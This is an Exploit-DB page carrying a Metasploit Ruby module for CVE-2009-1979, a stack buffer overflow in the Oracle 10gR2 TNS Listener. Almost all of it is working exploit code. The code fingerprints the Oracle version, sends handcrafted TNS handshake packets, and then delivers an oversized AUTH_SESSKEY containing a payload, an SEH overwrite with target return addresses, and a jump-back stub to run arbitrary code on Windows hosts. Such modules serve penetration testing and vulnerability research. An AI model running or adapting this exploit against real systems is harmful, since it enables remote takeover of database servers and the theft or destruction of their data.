Oracle 10gR2 – TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-11-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16342/
  • ##
    # $Id: tns_auth_sesskey.rb 11128 2010-11-24 19:43:49Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::TNS
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
    			'Description'=> %q{
    				This module exploits a stack buffer overflow in Oracle. When
    				sending a specially crafted packet containing a long AUTH_SESSKEY value
    				to the TNS service, an attacker may be able to execute arbitrary code.
    			},
    			'Author' => [ 'jduck' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 11128 $',
    			'References' =>
    				[
    					[ 'CVE', '2009-1979'],
    					[ 'OSVDB', '59110'],
    					[ 'BID', '36747'],
    					[ 'URL', 'http://blogs.conus.info/node/28' ],
    					[ 'URL', 'http://blogs.conus.info/node/35' ],
    					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
    				],
    			'Privileged' => true,
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'seh',
    				},
    			'Payload'=>
    				{
    					'Space'=> 0x17e,
    					'BadChars' => "", # none, thx memcpy!
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Automatic', { } ],
    
    					[ 'Oracle 10.2.0.1.0 Enterprise Edition',
    						{
    							# Untested
    							'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
    						}
    					],
    					[ 'Oracle 10.2.0.4.0 Enterprise Edition',
    						{
    							# Tested OK - 2010-Jan-20 - jduck
    							'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
    						}
    					]
    				],
    			'DefaultTarget' => 0,
    			'DisclosureDate' => 'Oct 20 2009'))
    
    		register_options(
    			[
    				Opt::RPORT(1521)
    			], self.class)
    	end
    
    
    	def check
    		version = tns_version
    		if (not version)
    			raise RuntimeError, "Unable to detect version!"
    		end
    		print_status("Oracle version reply: " + version)
    		return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
    		return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
    		return Exploit::CheckCode::Safe
    	end
    
    
    	def exploit
    
    		mytarget = nil
    		if target.name =~ /Automatic/
    			print_status("Attempting automatic target detection...")
    
    			version = tns_version
    			if (not version)
    				raise RuntimeError, "Unable to detect version!"
    			end
    
    			if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
    				mytarget = targets[1]
    			elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
    				mytarget = targets[2]
    			end
    
    			if (not mytarget)
    				raise RuntimeError, "Unable to automatically detect the target"
    			end
    
    			print_status("Automatically detected target \"#{mytarget.name}\"")
    		else
    			mytarget = target
    
    			print_status("Attacking using target \"#{mytarget.name}\"")
    		end
    
    
    		username = rand_text_alphanumeric(0x1c)
    
    		connect
    
    		print_status("Sending NSPTCN packet ...")
    		connect_data = "" +
    			"(DESCRIPTION=" +
    				"(CONNECT_DATA=" +
    					"(SERVICE_NAME=orcl)" +
    					"(CID=" +
    						"(PROGRAM=client.exe)" +
    						"(HOST=client_host)" +
    					")" +
    				")" +
    				"(ADDRESS=" +
    					"(PROTOCOL=TCP)" +
    					"(PORT=1521)" +
    				")" +
    			")"
    		nsptcn_pkt = tns_packet(connect_data)
    		sock.put(nsptcn_pkt)
    
    		# read NSPTRS (expecting 8 bytes)
    		res = sock.get_once(-1, 1)
    		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
    
    		print_status("Re-sending NSPTCN packet ...")
    		sock.put(nsptcn_pkt)
    
    		# read NSPTAC (expecting 32 bytes)
    		begin
    			res = sock.get_once(-1, 1)
    		rescue ::Errno::ECONNRESET, EOFError
    			raise RuntimeError, "OOPS, maybe the service hasn't started completely yet, try again..."
    		end
    		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
    
    		# send NA
    		print_status("Sending NA packet ...")
    		na_stuff = [0xdeadbeef].pack('N') +
    			"\x00\x92" +
    			"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
    			"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
    			"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
    			"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
    			"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
    			"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
    			"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
    			"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
    			"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
    		na_pkt = nsptda_packet(na_stuff)
    		sock.put(na_pkt)
    
    		# read response (expecting 127 bytes)
    		res = sock.get_once(-1, 1)
    		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
    
    		# send TTIPRO
    		print_status("Sending TTIPRO packet ...")
    		ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
    			"IBMPC/WIN_NT-8.1.0" +
    			"\x00"
    		ttipro_pkt = nsptda_packet(ttipro_stuff)
    		sock.put(ttipro_pkt)
    
    		# read response (expecting 179 bytes)
    		res = sock.get_once(-1, 1)
    		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
    
    		# send TTIDTY
    		print_status("Sending TTIDTY packet ...")
    		ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
    			"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
    			"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
    			"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
    			"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
    		ttidty_pkt = nsptda_packet(ttidty_stuff)
    		sock.put(ttidty_pkt)
    
    		# read response (expecting 22 bytes)
    		res = sock.get_once(-1, 1)
    		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
    
    		# send first auth pkt (call OSESSKEY)
    		print_status("Calling OSESSKEY ...")
    		params = []
    		dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
    		sock.put(dtyauth_pkt)
    
    		# read RPA (expecting 225 bytes)
    		res = sock.get_once(-1, 1)
    		#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
    
    		# build exploit buffer
    		print_status("Calling kpoauth with long AUTH_SESSKEY ...")
    		sploit = payload.encoded
    		sploit << rand_text_alphanumeric(0x19a - 0x17e)
    		sploit << generate_seh_record(mytarget.ret)
    		distance = payload_space + 8 + 5
    		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
    
    		# ensure bad ptr is derefed
    		value = rand(0x3fffffff) | 0xc0000000
    		sploit[0x17e,4] = [value].pack('V')
    
    		# send overflow trigger packet (call kpoauth)
    		params = []
    		params << {
    			'Name' => 'AUTH_SESSKEY',
    			'Value'=> sploit,
    			'Flag' => 1
    		}
    		dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
    		sock.put(dtyauth_pkt)
    
    		# expecting disconnect...
    		if (res = sock.get_once(-1, 1))
    			print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
    			raise RuntimeError, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/"
    		end
    
    		handler
    		disconnect
    	end
    
    
    	def tns_version
    		connect
    		version = "(CONNECT_DATA=(COMMAND=VERSION))"
    		pkt = tns_packet(version)
    		sock.put(pkt)
    		sock.get_once
    		res = sock.get_once(-1, 1)
    		disconnect
    		return res
    	end
    
    
    	def nsptda_packet(data)
    		pkt = [data.length + 10].pack('n')# NSPHDLEN
    		pkt << [0].pack('n')# NSPHDPSM
    		pkt << [6].pack('C')# pkt type
    		pkt << [0].pack('C')# reserved
    		pkt << [0].pack('n')# NSPHDHSM
    		pkt << [0].pack('n')# NSPDAFLG
    		pkt << data
    		return pkt
    	end
    
    
    	def dtyauth_packet(opi, user, flag, params)
    		dunno = 2
    		dunno = 3 if opi == 0x73
    
    		pkt = [3, opi, dunno].pack('CCC')
    
    		pkt << [-2].pack('V')
    		pkt << [user.length].pack('V')
    		pkt << [flag].pack('V')
    
    		pkt << [-2].pack('V')
    		pkt << [params.length].pack('V')
    		pkt << [-2].pack('V')
    		pkt << [-2].pack('V')
    
    		pkt << [user.length].pack('C')
    		pkt << user
    
    		params.each { |param|
    			name = param['Name']
    			pkt << [name.length].pack('V')
    			pkt << [name.length].pack('C')
    			pkt << name
    
    			val = param['Value']
    			pkt << [val.length].pack('V')
    			if (val.length > 0)
    				if (val.length > 0xff)
    					pkt << chunkify(val)
    				else
    					pkt << [val.length].pack('C')
    					pkt << val
    				end
    			end
    
    			flag = param['Flag']
    			pkt << [flag].pack('V')
    		}
    		return nsptda_packet(pkt)
    	end
    
    
    	def chunkify(buf)
    		ret = ""
    		if buf.length > 0xff
    			ret << "\xfe"
    
    			while (buf.length > 0xff)
    				ret << "\xff"
    				ret << buf.slice!(0, 0xff)
    			end
    			if buf.length > 0
    				ret << [buf.length].pack('C')
    				ret << buf
    			end
    
    			ret << "\x00"
    		else
    			ret << [buf.length].pack('C')
    			ret << buf
    		end
    		return ret
    	end
    
    end